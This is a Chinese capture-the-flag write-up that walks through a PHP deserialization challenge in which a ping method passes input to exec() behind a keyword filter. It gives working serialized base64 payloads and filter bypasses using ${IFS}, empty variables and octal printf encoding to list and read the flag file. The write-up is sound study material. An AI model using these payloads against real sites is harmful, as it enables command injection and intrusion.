关键字:江苏工匠杯 unseping 攻防世界 ctf解题wp
前言
有好久没有做过ctf的题了 之前一直在学习打靶的课程, 这次忽然产生了做题的想法 可能也是受到学校竞赛的影响、在此之前都是一个人默默在学网络安全,真不知道能走到哪里 。
关于ctf 我一直认为脑洞很大 涉及的知识点相当多 有的不乏奇技淫巧。网上的wp有很多人写 但我认为有很多缺乏思路 验证 因此我想写详细一点的 带思路的wp .
原题地址
点击获取在线场景
这是一个php的代码 似乎要post的方法提交一个名为ctf的参数 之后对ctf进行base64的解码 在反序列化
说到php的unserialize 不得不提的是反序列化的漏洞 这种漏洞一定程度上可以实现参数可控注入payload 结合魔术方法执行函数
工具的准备
我需要发post请求 可是我的浏览器不能手动编辑发送的包。 想用bp截包的话,得安装jave的环境 而且用浏览器搜索东西的时候得切来切去比较麻烦 ,用kali虚拟机得太内存了 。最后还是用火狐浏览器的插件
最后为了测试php 我又安装WAMPSERVER来测试php代码
分析代码
源码版
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
分析版
<?php
highlight_file(__FILE__);
class ease{
private $method;//ping
private $args;//array('')
function __construct($method, $args) {//创建对象时触发
$this->method = $method;
$this->args = $args;
}
function __destruct(){//对象销毁时触发
if (in_array($this->method, array("ping"))) {//如果ping匹配数组里有ping进入if
//这个决定了 $a = new ease("ping",array('pwd'));的第一个参数ping
//下面的函数也决定了第二个参数是 数组型array('')
call_user_func_array(array($this, $this->method), $this->args);
//调用回调函数,并把一个数组参数作为回调函数的参数
//被调用的函数 this之这个类 method 就是函数ping 参数是args
//只针对php
// call_user_func_array(array($ease,"ping"),array('one'));
}
}
function ping($ip){//等于执行了ping("one")
//ping的参数只有一个因此数组传一个参就好了
exec($ip, $result);
var_dump($result);//貌似执行了这个$ip命令返回了结果
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
//正则表达式()整体修饰|或&或;或 或/或cat或flag或tac或php或ls 这都是liunx常用的一些执行命令
return $str;//绕过表达式 返回传参
} else {
echo "don't hack";
}
}
function __wakeup(){//执行unserialize()时,先会调用这个函数
foreach($this->args as $k => $v) {//遍历关联数组 foreach ($array as $key => $value)
$this->args[$k] = $this->waf($v);//调用waf函数输入$v //若果绕过waf本身的args不会变
}
}
}
$ctf=@$_POST['ctf'];//post传参ctf=xxxx
@unserialize(base64_decode($ctf));//先对ctf进行base64解密 在反序列话
//unserialize先检查__wakeup()存在的意义:常常初始化操作 或 连接数据库
/*(前提:有可利用的类)
常见的魔术方法
__construct() //创建对象时触发
__destruct() //对象销毁时触发
__call() //在对象中调用不可访问的方法时触发
__callStatic() //在静态中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数*/
?>
整个代码流程
如果ctf里有了序列化的参数
传参ctf——base64解密——进__construct ()(带进去参数)(注意:这个之前传参创建对象的时候就执行了)——进入__wakeup(绕过正则表达式)——调用waf()——反序列化——__destruct()——用call_user_func_array调用ping函数——ping
琐碎知识点
1,正则表达式
2,魔术方法
3,php函数preg_match_all
4,php函数call_user_func_array
5,php函数exec
参考php官方手册PHP: Hypertext Preprocessorhttps://www.php.net/
正则表达式正则表达式 – 语法 | 菜鸟教程正则表达式 - 语法 正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 例如: runoo+b,可以匹配 runoob、runooob、runoooooob 等,+ 号代表前面的字符必须至少出现一次(1次或多次)。 runoo*b,可以匹配 runob、runoob、runoooooob 等..https://www.runoob.com/regexp/regexp-syntax.html
这些请自行学习
解题代码测试
可以结合分析代码来回看
建立文件 本地测试
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
// function __destruct(){
// if (in_array($this->method, array("ping"))) {
// call_user_func_array(array($this, $this->method), $this->args);
// }
// }
// function ping($ip){
// exec($ip, $result);
// var_dump($result);
// }
// function waf($str){
// if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
// return $str;
// } else {
// echo "don't hack";
// }
// }
// function __wakeup(){
// foreach($this->args as $k => $v) {
// $this->args[$k] = $this->waf($v);
// }
// }
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
$a = new ease("ping",array('测试点'));
//Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMDoiJChwcmludGYJIlwxNTRcMTYzIikiO319
$b = serialize($a);
echo $b;
echo base64_encode($b);//将打印出base64复制到post ctf参数中
?>
重要思路及测试
$a = new ease("ping",array('pwd'));
将编码后的base64 通过参数名ctf post到题里
pwd成功被执行了
想执行ls 看看flag 在哪里 可是ls会被匹配到 怎么才能绕过呢
通过网络大量的检索 发现可以用一些空的环境变量绕过
$a = new ease("ping",array('l${Z}s'));
输出Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtafXMiO319
查看到类似文件夹flag_ls_here
执行ls flag_1s_here就好了 注意flag也要绕过
$a = new ease("ping",array('l${Z}s${IFS}f${Z}lag_1${Z}s_here'));//flag_831b69012c67b35f.php
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319
注意${IFS}这个可以替代空格 如果是敲到的空格 会造成命令未执行成功返回空数组
看来flag_1s_here文件夹下存在
flag_831b69012c67b35f.php
访问http://61.147.171.105:57377/flag_1s_here/flag_831b69012c67b35f.php
这个是php文件空白的 看来执行php后无法获取flag
需要用到cat命令
怎样才能执行 cat flag_1s_here/flag_831b69012c67b35f.php呢
cat flag php 这几个关键词可以绕过 但是”/“怎么可以绕过?
通过网络的检索最终也没有得到绕过的方法 ; 和&又不能用 想要多次执行语句以此替代“/”行不通
cd flag_1s_here;cat flag_831b69012c67b35f.php
cd flag_1s_here&&cat flag_831b69012c67b35f.php
但是在检索中我发现一种执行命令的新方法
貌似是uncode编码$(printf "\154\163") 但是好像并不是unicode编码
拿着这段代码 在我的kali机上执行发现真的可以执行ls命令
\154\163怎么就能代替ls了!?
印象中“\”开头的是八进制 这会不会是assic码
\154=4+58+18^2=4+40+64=108 对应assic码”l“
\163=3+68+18^2=3+48+64=115 对应assic码”s“
根据这个思路我写了一个c语言的代码
#include <stdio.h>
int main()
{
/* code */
char site[] = "cat flag_1s_here/flag_831b69012c67b35f.php";
for (int i = 0; i < sizeof site / sizeof site[0]; i++) {
printf("\\%o",site[i]);
}
return 0;
}
运行后结果为
\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
使用
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
输出Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
继续测试
终于得到了flag
总结
本题出现了大量我所未知的php函数 十分的考验短时间内学习的能力 往往做题中也是这样 边做题 边学习。
flag找到了 我也有几个思考
是否有其他的命令代替cat呢?
能不能向网站目录里 写入一句话 来获取一个更好的shell呢
是否有其他的绕过方式来执行命令?
关于php的编码(使用双重编码)是否可以绕过呢?
...
这几个交个大家思考吧!
如果你在做题的过程中遇到了什么难题 或者有什么不明白的地方 ,再或者你有什么更好的思路
欢迎在评论下方留言 让我们一起讨论。
版权归原作者 昵称还在想呢 所有, 如有侵权,请联系我们删除。